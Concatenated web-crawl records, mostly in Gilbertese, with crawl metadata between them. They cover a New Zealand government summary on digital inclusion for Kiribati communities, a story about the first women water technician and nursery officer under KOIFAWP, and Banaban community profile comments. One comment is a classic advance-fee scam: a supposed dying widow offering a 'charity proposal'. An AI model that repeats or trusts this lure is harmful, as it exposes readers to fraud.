ake a kakaokoro aia ririki, aia reeti ao aia tabo are ea karaoaki te maroro ma ngaia. A tibwatibwai aia iango ma aia namakin, n aia tai ni kona n ira ao n aki kona ni ira buakon te itoman rinanon te aonnaba ni kombiuta n te aro aio:\n-\nTatabeman, tani kairiri, tani mwakuri n anganano ao tan mwakuri ake a kabooaki\n-\nKukune\nTe kakae aio e katerea bwa bukin ao muin te rinnako nako nanon te aonnaba n itoman rinanoni baika a mwakuri n te kombiuta, ke te katukaki ni katinanikuaki mai iai, e bon mwaiti iterana ao, bukina iroun te aomata ae kain te Betebeke, e bon nakon tein oin arona i bon irouna, i nanon ana utu ao ana komiuniti.\nKukune aika a kakawaki\n- Karinan aia iango n ibuobuoki kain te Betebeke nakon katean tamnein taian kataneiai, tieweti ao kario iango, e rangi ni kakawaki ibukin karekean butimwaeakia ao boutokakia irouia kain aia komiuniti — \"Komiuniti a kinaia raoi aia komiuniti.\"\n- Boon bwai aika a kombiuta ao boon katomaia nakon te intanete bon ngaia te totoko ae e korakora — \"E bebete rinean aron kabanean te $20 bwa ena kabaneaki ia, ibukin kanoaan te tarebon, ke kaboan te amwarake.\"\n- Kawakinan taian tieweti ake a aki kabongana te kombiuta a rang ni kakawaki — a moanna ngkai ni mwaing tabo ni mwakuri nakon te tieweti i aonrain, ao aio e karekea te kangabuaka nakoia aomata ake akea aia kombiuta ke rabakauia ni kombiuta n te aro are a kanganga reken taian tieweti irouia, boutoka ma taian ibuobuoki ake a riai n reke irouia ao aio are e karekea te katinanikuaki.\n- Reiakinan taian rabakau ni mwakuri ma te kombiuta e kainnanoaki bwa a na reiakinaki nakoia kain te Betebeke, n anga ake a na butimwaeaki irouia n aron — e karaoaki i bon irouia kain te Betebeke, n oin aia taetae ao ni iraki ma tamnei ni kaoota. Aio e na boutokaia kain te Betebeke n karekei tieweti, ni karekei aia mwakuri aika a teimaan, ni karikirakei aia bitineti ao rabakau ni katania ngkana a mwakuri ke n reitaki i aonrain.\n- A kainnanoaki karikirakean mwaitia kain te Betebeke ni mwakuri ma rabakau aika a boou, aio are e na kona ni karekei riki tieweti aika a kakaokoro ake ana buoki riki kainnanoia kain te Betebeke ibukin te reitaki ao te itoman — e ngae ngke mwaitia kain Maori ao kain te Betebeke bon 25 te katebubua man ana bota n aomata Nutiran, bon ti 2 te katebubua maibuakoia aika a mwakuri ma rabakau aika a boou.[]\nTera ae a tuangira aomata\nAron rekena\nReken bwai aika a kombiuta ma rabakau aika a boou iroun te roro ae e uarereke, e karekea te okoro ae tamaroa nakon ana konabwai te aomata n ana reirei, bwakan nanona ao kawaina ni kareke mwakuri.\nIrarikin boon karekean bwai aikai, tabeman aomata aki koaua n aron karekean katoman te intanete nakon mwengaia. Te intanete are e aki kaboaki nakon te bota n aomata ma aron te katomatoma nako iai e kona naba ni kanganga atakina. Botakin aro ao komiuniti a kona ni kabebetei kanganga aikai ma a aki kona n katoki ni kabane.\nKain te Betebeke a tangiri naba rongorongo ma tieweti mairoun te tautaeka n taetae ni I-Matang aika kai ota nanoia ao ni bon oin aia taetae.\nKonabwai\nKain te Betebeke ake a kara riki, e bon kanganga irouia ririmuiakinan ao reken otaia n rabakau aika a tibwa otinako mani kakaokoro. N reitaki ma atakin te kaokoro i marenan kabonganan te intanete man te uaibwai (wifi) ni kabotauaki ma kabonganan te intanete man ana taata te tareboon, ao atakina naba ae ko kona n tarebonia tarebonin te auti man am tareboon are te mobwairo (mobile). Ao ae e a kaminonano riki nakoia kara bon kaootakia n taian ibuobuoki aika a nakoraoi riki ake a kona n reke man kabonganan te intanete, n aron te reitaki n te koroboki ao te taetae ni maroro n akea boona n taian kombiuta burokuraem ke apps ni kabotauaki ma te mobwairo are e kaboaki kanoakina ibukin te itoman i aonrain. Bibitakin aron mwakurin burokuraemun kombiuta ma baika a kona ni kabonganaki iai, n ikotaki ma kakaokoron aekan teia, aron karaoaia ao araia, e karika mangaongaon aia iango kara — \"..ma a bon rangi ni kukurei ni ibuobuoki i marenaia.\"\nE rangi ni kakawaki iangoakin karaoan kataneiai ma komiuniti ibukia roro nako, are e boboto ibukin te utu ae banin, ao ni wakinaki irouia botaki n aro, ibukin karikirakean te onimakinaki, te aki tabwarabwara n titiraki ibukin karekean te ibuobuoki ao ibukin kateimatoan te reitaki ni boutoka i bon imarenaia. Nake a titirakinaki a taekinna bwa kabonganan te rerio ma te witeo (tamnnei ake kakamwakuri ao n taetae) bon ngaia anga n reirei aika a tamaroa riki ibukin kataneiakia kain te Betebeke. Kataneiai i aon rabakau ni katantan i aon te intanete e rangi ni kakawaki naba ibukin totokoan mwakuri n aonikai rinanon te intanete. \"I rararaoma ibukin tinau bwa e na reke ana tarebon, bwa ngkana iai ae e tarebonia n tuangnga bwa ngaia man te IRD ke te bureitiman, ao e a kakouaia naba.\"\nE kainnanoaki katamaroan kawain karekean mwane ni buoka ibukin kataneiai i aon rabakau ni mwakuri aika a boou ma bwai ake a mwakuri man kombiuta. \"E noraki bwa kain te Betebeke ngaia te kabanea n uarereke aia mwaiti ni bubuti te mwane ni buoka.\" E riki aei ibukin aron kanoaan taian boom ao kaetieti ake a na iraki nanoia ao ibukin aia namakin are e aki kaineti ma aia iango.\nKain te Betebeke a tangira naba karikirakean aia konabwai ni mwakuri i aon kombiuta i nanon aia komiuniti ni bitineti bwa a aonga n ota ni kabonganan bwai ni mwakuri ibukin rabakau aika a bou ma kawaia iaon te intanete, aron kamwakuraia ao rongorongoia\/kamanoan rongorongo i aonrain ao bonganan rabakau aikai nakon aia bitineti. \"Ngkana ko aki kona ni karekei ao ni kabonakoi am tieweti ke ni katanoatako i aon te intanete, e a bon rangi ni korakora iai am kanganga.\"\nOnimaki\nTabeman irouia nake a titirakinaki a kaota aki onimakinan te aonnaba n aonrain (ni ikotaki ma kabonganan te intanete ibukin te bota n aomata are e aki kaboaki) ao a maka kabonganan taian rabakau aika a boou 'n te aro ae a tan' bwa a na mano iai rongorongon aroia aika a aki tangiri kaotakia\/rongorongon maiuia. A taku naba bwa kain te Betebeke ake a kara, e korakora aia konabwai n bita nanon te aomata, ngaia are e rangi ni kakawaki bwa a na ota ni bonganan te aonnaba n aonrain. Kara aika kain te Betebeke a onimakini riki rongorongo ake a ongo n oin aia taetae ao ngkana a reireinaki iroua aia ataei. \"Komiuniti man te Betebeke a ... taua n ro ... ma ngaia are a na ... aki butimwai bwai ngkana ... a aki onimakini — ao ngkanne a na tio i buki.\"\nNake a titirakinaki a taku bwa tabeman kain te Betebeke a bukina te tautaeka bwa 'e riao ana katabetabe' ni ikoikoiti rongorongo ma e uarereke te bae e anga rikaki. A taku naba bwa e na riai riki ni manga kabwebwerakeaki kaua onimakinan te tautaeka ni kaineti ma ana waki aika a bou ibukin te bota n aomata bwa ana bane ni kona n rin ao ni mwakuri i aonrain. \"Kain te Betebeke a 'mate n te ukebwaiaki' ao akea te bwai ae e riki ... Ti a wakirake man 'Ti a kaotaia' nakon 'Tera are i muina'?\" \"Ko kona n nora te tautaeka ma ... ana Facebook ... ni [kataia] ni maroro ma [aomata] … ma e karako onimakinan te tautaeka.\"\nA tabeaianga nake a titirakinaki ibukin waki ni kakaokoroaki ke ni ureititi i aonrain ake a bakarereia komiuniti man te Betebeke. N aia namakin ao aia iango iaon te ureititi, a maiu reirei kurubu ao kakamwakuri n ureititi i aonrain ma e uarereke te tararua ke kaboan muin aia mwakuri \"N tain te maroro n itaramata, … ao aomata aki kan taraki bwa a ureititi, ma i aonrain a mwengaraoi riki ni bon kaota raoi anuaia.\"\nTe ungannano\nTe reitaki ma utu ao kain te komiuniti e karikirakea te ungannano irouia kain te Betebeke bwa a na kabonganai rabakau ni kombiuta aika a boou ibukina bwa maiuia kain te Betebeke e boboto i aon te utu. \"E kakawaki bwa ko na kona n reitaki ni kaotitamneia te bwai ae e riki i aonrain n aron te taunimate ke n taiani maroro aika a kakawaki n te utu, bwa a aonga ni bane kain te utu ni kona n ira ibuakon te waki.\"\nE korakora kabonganakin te itoman ma aomata i aonrain irouia te roronrikirake ao kara, ibukin ongoraean rongorongon te Betebeke, rongorongon bwai aika a riki n te utu, ma raoraoia, komiuniti ao katei aika a kakokoro, ao ni katomaia ao ni ikotia aomata ibukin baika a na karaoaki n te komiuniti.\nA taku nake a titirakinaki bwa te aonnaba i aonrain e a kaoti katein te Betebeke nakoia kain te Betebeke ao kain Nutiran ake tabeman ao taian mwaneaba n reitaki i aonrain a tomaia aomata man iteran te aonnaba nako\/nake a tionako, ao ni karekea te ota i aon aekan katei nako. E ngae n anne, ao a taku naba bwa kain te Betebeke ake a kara a taku n aia iango bwa ara katei a na riai ni kamaiuaki rinanon te taetaenikawai ni katomaia atu n roro rikaki, ao n tai aikai e a kanganga atakin kabonganan kaubwaira n ara katei n te aro ae e aki riai, n te aro bwa e na kona ni karaoaki te kateitei n te bowi ibukina, ke n ririmuiana, ngkana baika a toka i aonrain man ara katei a tia n kabonganaki n aki riai ke n akea te kariaia.\nMuin butin te COVID-19\nI mwain te COVID, ao kabonganan rabakau aika a boou a taraki bwa baika aia bwai tabemwang. Ngkai, e a katauaki bwa e riai naba ibukin ara komiuniti.\nA taku nake a titirakinaki bwa butin te COVID-19 n te aonnaba e katereterea te bwenaua i Nutiran, ao kainakin tabo nako e karika te kangabuaka nakoia kain te Betebeke ake a aki konabwai ni kabonganan rabakau aika a boou i aonrain. A taekinna bwa e korakora mwaitia kain te Betebeke ake a korakai ni kakaei aia mwakuri, ni buokia natia n aia kamatebwai, ao ni karekei rongorongo ma tieweti ngke a kainaki tabo nako.\nTe mwakuri man te mwenga e bon kanganga n auti aika a rawata kaia (ao tabeua utu a ikotaki n te auti ae ti teuana n tikona aia mwane i muin buan aia mwakuri). \"Aomata tabeman a reitaki i aon te Zoom man aia kabwate ni kunikai ke tabon te kainiwene, n aia kaa — ibukina bwa akea te tabo ibukia ni kabane are e tauraoi ibukin te mwakuri man te mwenga.\"\nKomiuniti n te Betebeke akea katanaia man taian rongorongo aika a aki koaua ake a tataekinaki i aonrain. E ngae n anne ao botaki n aro a mwakuri i aonrain (a reireinaki irouia aia roronrikirake aron katean aia bwai ni mwakuri i aonrain) ao a tibwatibwai rongorongo aika a kakawaki i aon butin te aoraki aio n te aonnaba. A anga taeka n ibuobuoki nakoia aomata bwa ana nakea ngkana ana karaoan aia tutuo ibukin te COVID-19, tabo ni kareke amwarake, ao karekean taian ibuobuoki. Aomata a kabongana naba te Facebook n karekei rongorongo aika a boou.\nAna Kainin te Kakae\nTe kakae aio e kaota kakawakin ao bonganan korakoran te reitaki ao te boutoka inanon te utu, botakin aro ao komiunitin te Betebeke. Aio e na buoka te tautaeka, botaki n itoman ao rabwata nako, ni kabonganai reitaki aikai ni buoka kakorakorakia kain te Betebeke bwa a na karikirakei rabakauia ni kabonganai rabakau aika a boou i aonrain.\nMwaneka ake i muina\nMan ana kukune te kakaea aikai, ao te Department of Internal Affairs, e na kabongana ana bowi ma iteran tabo ni mwakuri nako n 2021 n maroro ma rabwata ake tabeia ke ake iai rerekeia ma kukune aikai ao botaki i tinanikun te tautaeka ke NGOs. E na tibwaki te ribooti aio ma Minita ao n anga naba bwa buokan ana kawai te Tautaeka ni karikirakea te rin ni kabonganai rabakau aika a boou i aonrain irouia aomata nako.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.digital.govt.nz\/dmsdocument\/188~summary-of-digital-inclusion-user-insights-pacific-peoples-report-kiribati-version\/html","date":"2023-02-05T05:32:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500215.91\/warc\/CC-MAIN-20230205032040-20230205062040-00624.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2299,"character_repetition_ratio":0.085,"word_repetition_ratio":0.001,"special_characters_ratio":0.208,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"i rangi ni kukurei ngkai i nora am page ikai ao ko ataia kanga ia uringa tibu iroum ae Taratai. kai i rineiko bwa i tatangira te ara ane am surname ae Taratai. anyway, ngai tibu Taratai Tetatake aika amena i Rabi, ngkana ko kaitibo ma ngaia ao koa taiaoka naba n angania au kamuri ao au kiss ae mwaitoro.\nkona tekeraoi ao tia manga kaibo n te mail ae ena roko.\nThis is a magnificent Banaban e-community site where we could share almost anything, I mean electronically. It is quite inspiring to see Banabans, especially those on Rabi Island, becoming more hi-tech and their technological acquisition are in sync with the rest of the world.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/banabanvoice.ning.com\/profile\/ToanueaTaratai","date":"2023-01-27T15:25:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764494986.94\/warc\/CC-MAIN-20230127132641-20230127162641-00412.warc.gz","language":"gil","language_score":0.9959161282,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9959161281585693}","num_words":116,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.207,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nei Tabono Tebwaitonga 36 ana ririki ao Burantetaake Iaokiri, 21 ana ririki bon taan mwakuri ngaiia ngkoa n te karikirake ae te Kiribati Outer Islands Food And Water Project ke n kinaaki n arana ae te KOIFAWP. Aine aikai are a moan katabwenai nakoa n aia tabo n mwakuri aika a boou bwa Nei Tabono Tebwaitonga e riki bwa te moan aine n taua te nakoa ae te Outer Islands Water Technician (OIWT) i Kiribati n ana abamwakoro ae Tabiteuea Meang are e mena iaan te MISE ao Nei Burantetaake Iaokiri bwa te moan n aine n riki bwa te Nursery Woman i Kiribati n ana abamwakoro ae Onotoa are e mena iaan te Ununiki, MELAD.\nBurentetaake Iaokiri- 21 yeard old. First Nursery Woman from Onotoa Island in Kiribati\nTabono Tebwaitonga-36 years old. The first Outer Island Water Technician from Tabiteuea North in Kiribati.\nN akean te raraoma man aia tibwatibwa aine aikai ao a kaotia bwa te reirei, te kataneiai ao aia mwakuri aika a tia n rinanoi inanon aia tai n mwakuri n te KOIFAWP, e a anganiia rabakau ma te atatai are e a buokiia n karekea nakoaia are a riki ngkai ngaiia bwa taian moan aine n nakoa aika te OIWT ao te Nursery Officer i Kiribati ake a bon ti kaainaki irouia mwane ma ngkoa. Aio are e bon riki bwa te rongorongo ae e raka ao ni boou n karakin Kiribati.\nE tibwatibwa ana namakin Tabono ao n taku, \"Ngai bon te aine ae I a tia n iein ao n kariki ao n tia n makuri n te KOIFAWP man 2018 nakon 2020 n riki iai bwa te Community Facilitating Officer n au kaawa ae Terikiai Tabiteuea Meang. N September 2020 ao I a reke nakon nakoau ae te Outer Islands Water Technician (OIWT) iaon abau ae Tabiteuea Meang. I kakatonga ao man kakabwaia n tia n riki bwa te tia mwakuri n KOIFAWP are ngaia e wantongaai n rabwakau n taian reirei ake a karekei man KIT ibukin te plumbing are ngaia e a buokai n au tai n ukeuke n kamaran nakoa tabon au been n karaoan te ukeuke ao ngaia ae ia riki ngkai bwa te moan aine iaon Kiribati n riki bwa te OIWT. Ai bon bwanaau n karabwarabwa nakon te karikirake ae te KOIFAWP are e a tia n uarokoai ao n karokoai n nakoau ae I mena inanona ngkai. I bon rang rotaki n te kukurei ao n karabwa Uean te maiu ibukin tibwangau aio. E a koro nanon miiu are I mamataaiakiniia ngkoa aine aika aranaki bwa a karaoi mwakuri n mwane. N te tai aio ao I a reke bwa te moan aine n nakoau ae te OIWT. Au kakaewenako nakoia aine bwa kam na riai n aki maaku ke n maama n niniianako taian tabo n mwakuri ake ko nano iai bwa ti te arona ngaira ma mwane\".\nNei Burantetaake Iaokiri e tibwatibwa naba rotakina n te kukurei ao te kakaitau ngke e kaongoaki bwa e a reke bwa te moan aine n riki bwa te Nursery Officer mai Onotoa iaon Kiribati ao man taku, \"I aki kakoaua ngke I a tuangaki bwa I a reke imwiin te ukeuke are e karaoaki ibukin te Nursery Officer. Mwaitira n ukeuke n te tai arei bon 26 bwa 6 mwane ao 20 aine. E bukibuki mwanawau ngke e nang bo te ukeuke ma ngke I kauka te beeba ao e a bon tei naba imatau ara mwakuri ake ti kakaraoi n te KOIFAWP. Taian reirei ma kataneiai iaon te kamkamka ma te aron te kabwebwe ao n reitaki ma tuoan te mwatai iaon te kamwaanga are bon ngaia oin tabera n te KOIFAWP, bon kanoan raoi ara ukeuke. I a bon anga bwanaau n karabwarabwa ao n kakaitau nakon te KOIFAWP ibukin wantongakiu n te rabakau ma te wanawana iaon te ununiki are ngaia e a bon katebenakoai ibuakoia raou n ukeuke n riki bwa te moan Nursery Woman mai abau ae Onotoa iaon Kiribati ni moa man 29\/08\/2022 are I teirake iai.\nFigure 1Nursery woman ngke e koromwaanga\nAio are e a bon katekea teuana mai ibuakon ana taakete KOIFAWP are karikirakean rabakauiia aine bwa ana kona n tei iaon waeia n karaoi tibwangaia bon ibukiia ma aia utu, aia abamwakoro ao abaia. Ngkai ai bon uoman ana taan mwakuri ngkoa KOIFAWP ake a moan katabwena te nakoa n OIWT ao te Nursery Woman iaon Kiribati. A bon riki Tabono ma Burentetaake bwa ana kamoamoa KOIFAWP ibukin aia kekeiaki ma aia botumwaaka n aia beku ibukin aia abamwakoro ao n katekeraoa aia waaki ae e boou n aia tabo n mwakuri aika a kakaokoro.","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/oifwpkiribati.org.ki\/successful-story","date":"2023-01-27T17:48:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764495001.99\/warc\/CC-MAIN-20230127164242-20230127194242-00536.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":769,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri moa waqa kou rara e raba naba ba tia maga kona n reitaki\nn te banaban voice ea bon man tetai kee tao koaki kinai ao tao ea bon\nbanevem nte taetae n kiribati...ahahahaha agkoe ai bon taeka n kauga\ntau koaga naba au kamauri nakoia kan batam i kane nao tao tia maga bon reitaki n reken am tai\ntau tibo moa takeraoi te waaki maikane god bless ma am koraki\ngai\nraitinibure\nTalofa,\nBon akea naba rongorongon au tabo aei ba te kabuanibai ba i aki bati n round nakoia kain Rabi. Ai bon ti te tabo ni makuri naba ao manga te oki rikaki nakon te auti.Ngai naba ia tia n quit te moko ba i tangiria ba e nababaki maui ba a nangi maiti taan burari aati aika kan onomi ma tokina aki tabe ma natiu ao ati tabe ma tinaia atai hahahaha. Au kabae n nangkona e bon ni koo ao e kanganga anakina...","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/banabanvoice.ning.com\/profile\/WaqaKirite392","date":"2023-02-07T18:02:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500628.77\/warc\/CC-MAIN-20230207170138-20230207200138-00311.warc.gz","language":"gil","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999985694885254}","num_words":160,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.231,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tuangai mwin te kabutiman ma Ia tia n taetae ma uncle Fomilo ao e tuangai mwina. Iai te bai ae I kan tuangako ibukin am tai ni mare are ea tia ni baireaki ba ea kan kaunton ma ana mare Viliame ma Nei Tongata ba a taku ba ana mare naba nakon August. Tera am iango iai? I tuai ni maroro iai ma uncle Fomilo ma ikaokia moa nakoim ba tera am iango iai.\nWhen the idea of combining the BSA and Kiribati students (who at this time does not have an association) was raised by one of the student at FNU; it was strongly opposed.\nI am really sorry but it just does not support the motive of the existence of the Banaban Student Association. Given that the sole purpose of the association was to promote and prolong the I-Banaba culture and unity amongst the generation of the Banaban poeple.\nTeari, I do agree with your point; bwa antai ae nang bon akea rarana Kiribati. Ma with all due respect ao bon akea moa au konabwai ni kaioka BSA ma Kiribati iaan bukina bwa e bon nang ribaki by most of the members of the association. Majority counts and we respect the decision of the members. After all a bon inaomata bwa are bon aia association (Banaban students).\nThe person who raised the idea of combining supported him by saying that we are to move forward and change - given a major change is evidently in the school itself where it changed from FIT to FNU. E nang sensible ana kaoti te ataei arei ma unfortunately kee...eaki naba pass.\nBula sis!!! Long Time No See!!!! hahahaha\nKo uara ngkai??? Hope fine like us over here. Thanks God\nAkea te news from here ba tii te makuri, te Chow ao te Moce, e a bon roko ni kamauna, e toki nanom namarake ao ni matu not like in RABI alot of job.\nSis ea reke natin Seraati bon te tekere hahaha arana NEI MAUE ai tiba one week.\nE bon kawa Nei Maue iroun natiu ea bon tatang naba, ao tiaki te baai marakin Seraati iroun natiu. Bon ana bure bae e riki riwmi natina keee ....hehehehe\nOk ... na pass the ball to U, news from there.\nBye For Now But Not 4ever .......... Tekeraoi Te Waki...........Take Care\nmauri moa neiko\nkanga taran ae koa rangi ni bakanaine n am profile anne ma e aoria bwa are bon aorna naba n taai tabetai.\nneiko koa reitaki nakoiu n au email address aei firstname.lastname@example.org\nTearia ko aki manga iangoa te raaun nnako Banaba n te 15th ngkana e reke ma kateia bwa teuana am goal naba. riki te kukurei ngkai tia manga reitaki imwin te tai ae rangi ni maan ngkoa tii norira ao tii bane rangi n nanoro ao ngkai tia bane n nanonaomata.\nMauri moa,ngai Abera T Peter ao ia tia n rei2 naba nte RHS ao au principle n te tai anne bon Nei Rubena Karakaua are buun Ientaake,ma te tai moa aei ao ia mena moa ngkai iaon kiribati i Tarawa.Iaki botu ba raou ikai bon kain naba RHS n ai aron Auriaria,Tekeabuti,Ao ai Kaburoro.Naakai bon taian seniors n ara tai n rei2 nte RHS,ao Auriaria bon au House commander nte tai anne.Au karo ngai aikana a bon tiku iaon Fiji i Levuka.ia manga ongora iroum,ke\nMauri naba Teari!\nE koaua ba e a bon maan te tai ae tia manga tiba reitaki iai. I taku ba koa bon tia n ongo rongorongo ibukira ngaira taan makuri ake ti kamotirawaki iroun Nei Molly imwin te waki ni kakumekume are e aaki tangiraki ba e na manga okira iai te makuri ao ngaira e bukinira ba ti wakina te waki aio. E bon nang kakaongora ao e kananokawaki naba ma e tau e raba te Uea ba e bon norii baai aika karaoaki ma te nano ni kairiribai ao e manga bon kaokira nakon te makuri.\nE raba te kaongora ba inanon taai aika nako ao i bon nang tabetabe ao irarikina te computer are ti kakabonganaa ngaia are e anaki naba mairoura ibukina ngke tia bukinaki ba ngaira aika ti rereitaki nte internet. Ao e raba te tai aio ba ngkai I koroboki man aia computer kain Banaba Ltd iroun Cr Manate.\nRongorongon ikai bon ti te katauraoi nakon te 15th Dec ao ngaira ti katauraoi nakon ana kainin Samantha i Bucalevu nakon Thursday next week. Waiete ma Tapu a exam ngkai. Koa tuanga naba am unty anne Taoniti ba e a confirm te botaki n utuu i Nabalebale nakon 7th January 2010. Kanoana 5 te batere, 5 te action chorus, 5 te gospel, 5 te Pop songs. Te biri naba $5 nakon te tanga. Koa kauringa naba tuaia are a bon ataia. Ao tuanga Ata ba e na kamatea raoi ana batere ba Buratake ae bon kamatea naba ana batere mai ikai. Tuangira naba Keke ma ngkana a kan kaea te botaki n utuu anne.\nTao aikea mao mai ikai ma koa angania naba ara kamauri ao tia kaitibo ikai nakon Dec ke nakon te botaki n utu.\nHey thanks 4da add\nPlease,you can read Jeremial 29=11---12.God holds your future,if you pray and ask him to give you a good future.\nTe keraoi te waki.Tia manga bon rereitaki.God bless.Tia bo.\nPst Ieuti.Rukio\nhey mauri teunaine buakaka lol angke kouara moa ngkai ,, ngai ngkai ia invinsible thas y koaki nonorai nte usp lol,,, oh and by the way i can see the writing on mypage just fine ,, i think its yah eyes ,,tao koa kara lol :P\ni taku bwa koa bon ataai raoi ma iai te au bubuti nakoim bwa ngkana tao ko kona n send am email address bwa tao te gmail ke te yahoo bwa angin te tai i aki bati ni kaukuka te website aio ma ti au email address aio email@example.com so ngkana e reke am tai ao tao koa add naba nakon au email aio bwa i aonga n ata am email address.","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2lpdmhkcaoywp","date":"2023-01-29T16:11:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499744.74\/warc\/CC-MAIN-20230129144110-20230129174110-00312.warc.gz","language":"gil","language_score":0.9998682737,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9998682737350464}","num_words":995,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I am Mrs. Julie Mewis, an aging widow suffering from long time illness (Esophageal Cancer). I have some important information (charity proposal) for you, May God continue to bless you, Please reply (firstname.lastname@example.org) for more details.\nkam na banne ni mauri ma tavale ao kain ami auti ni ka bane ... eea nang mann te taai kee .... te ka mauri ma te inga na koimi ni kabane ..... ao e na tekeraoi te waki mai kanne ... karekea ami taai ao kam raun maai keee .....God bless ......\nhi nei terga aga au kamauri nkon bum n3e boboto anee?? aio bontarim ae mamro tokamen bon raOU AUNTY KABUA MA UINTARAWA MA SAU NIMANE GKE ROKO MA IKANNE. GKAINI BON MENA UIROOUN NATIU AE REI@ I SYDNEY, AO BON IAI ANA KORAKI BUM AE TE IETAAKE AE MENA NABA IKAI, BA E REI@ NABA IKAI.\nE UARA TE MAKURI?? HOIPE A BON NAKO RAOI BAI NI KABANE. AO A UARA NATIMI?\/ UP DATE MA IKANNE TE ROGO@ BA I KAN OGORA ROGORGON SUVA AO RABI. A NA OKI NIGAI KAARA MA I KIRIBATI?? I A OGORA IROUM KEE.\nTI A BOO MOA AO TEKERAOI NABA GKE RIKI BUM ANNE. REWGARDSS TO U ALL AO KAIN AMI AUTI NI BANE. DOU MOCE AN TAKE CARE.\nE ang koa kabara te bure,ba ngke i tuangko te rongo2 ao bon te tai naba anne ao ia kibanako naba nako Abemama,ma eaki reke anakin te rongo2 raoi iroun Nei Kabuua.Ma bon ngaia raoi anne,ae kona ring nakoina nte Kate ni bong ae bon taku.Ao ngai ngkai i mena i Abememe.Tao ti ngaia moa anne\nAunty,e tuatua Nei Kabuua ba kona ring nakomai nte Katenibong ae 19\/01\/10,Ba e kainanoiko.Ao kona ring nakon ana Nei Akoia i Bairiki ba ane ena taningaiko iai.\nTao ti ngaia moa anne te bai ae e kainanoia Teunaine aei.\nmauri naba aunty nte ririki aei boou aei,enang raraba naba te reitaki ma ikanne.\ne nang eti raoi am kikina,gai gkai i makuri nte otintaai hotel i bikenibeu ao ia bon tia naba ni iein,au husband bon kain tabiteuea ma akea rabatana ikai bwa e makuri i japan(seaman).\nko a tuanga naba aunle tamoaieta ae i tuai mani boo ma nei aunty tukua,tao ea kani mena i abemama ma tao ai bon kaitibou ma gaia ao ia kaogoa ana rongo2\nare e tuangai.\nantai moa nee are e karinrin ae i noria nam photos.\nkoa manga bon rereitia mai ikanne ma koangan naba nei tenemoiti au kamauri\nao riki ai bon kain am auti ni kabane ana bana ni mauri nte ririki ae boou aei.\nhey aunty....lol...i realise that its a bit late and all but i just wanted to say merry belated xmas and may this new yr be a happy and prosperous one for u and ngkaim am utu...\nso wats the news from there?...lol...hav'nt much time to be online these days coz of exams and due thingies from school but come on....m starved for the news from there...nothing to get from dad's side coz he does not go anywhere....hehehe\nholler back when u have time kee?...muahz and regards to u and uncle and all my servants there...hahaha\nGod Bless\nmauri kain fulton,kam uara moa?kai e rang raraba naba te page aei bwa ea manga karekea\nara tai ni kaitibo.\nEa rang man te tai n raurenako.airaman gkai natimi?ea rang kaunga ikai bwa arang maiti\nkain rabi.koangania naba tangaia Nei Kaeroa,tangaia Iotebwa ,ao ai bon natimi au kamauri ai moa rarariki uncle Tamoaieta.\nau katekeraoi naba nakoimi nami ka ririki aei ea roko aei,\nHa,E ang i tuai n ataia ba ana nakoati ni ngai.Ao ngai, na nako Banaba n raun nakoia Niko ma ba ngaia a mena i Banaba.Ti na mananga nako Banaba n Thursday ao ara Transport are Baon te Te Tia Tei are Nanteanti ao e tikiraoi ba akea kantokara ae taku.Ao te kamauri ao ana ka Tekeraoi Nei Tororake n Ria are Nei Tekeabuti nakoim ma Buum ao riki nakoia Natimi ao kaain am Auti aikanne.koa reitia mai ikanne.Ao Tekeraoi ami CHRISTMAS N HAPPY NEW YEAR.\nngaia raoi anne,ngkai raora ikai bon au antie are mwanen Tamoaieta are Nei Tikua are e mena ngkoa i Toromon ao a bane ni marurung raoi.Ara koraki aikai a kanimino ibukin taekan te Aba.Nei Tikua e nako n ongora taekan te aba are i Aranuka iroun Nei kaemwaiti ba e bukina kaewaiti ba ea ana aban Nei karibaieta ao ni koreia iaan Nei Moa.ma ngaia e kairua ba Nei Kaewaiti,ea ana aban Ten Abera teunimwane ao Miriati ao e korea iai Nei Moa ao Nei Karibaietai ba i Araunka ao ngaia akea abaia Nei moa ao Nei Karibaietaba,ba ti kaka Tekaina abaia,ao nikiraia ngaia abane iroun Ten Temakin ao tinan Ten Tekan, ma a manga tibaia nakoia tii natiia.ma koa tuangnga Tamoaieta ba ea reitaki ma Nei Karibaieta ba 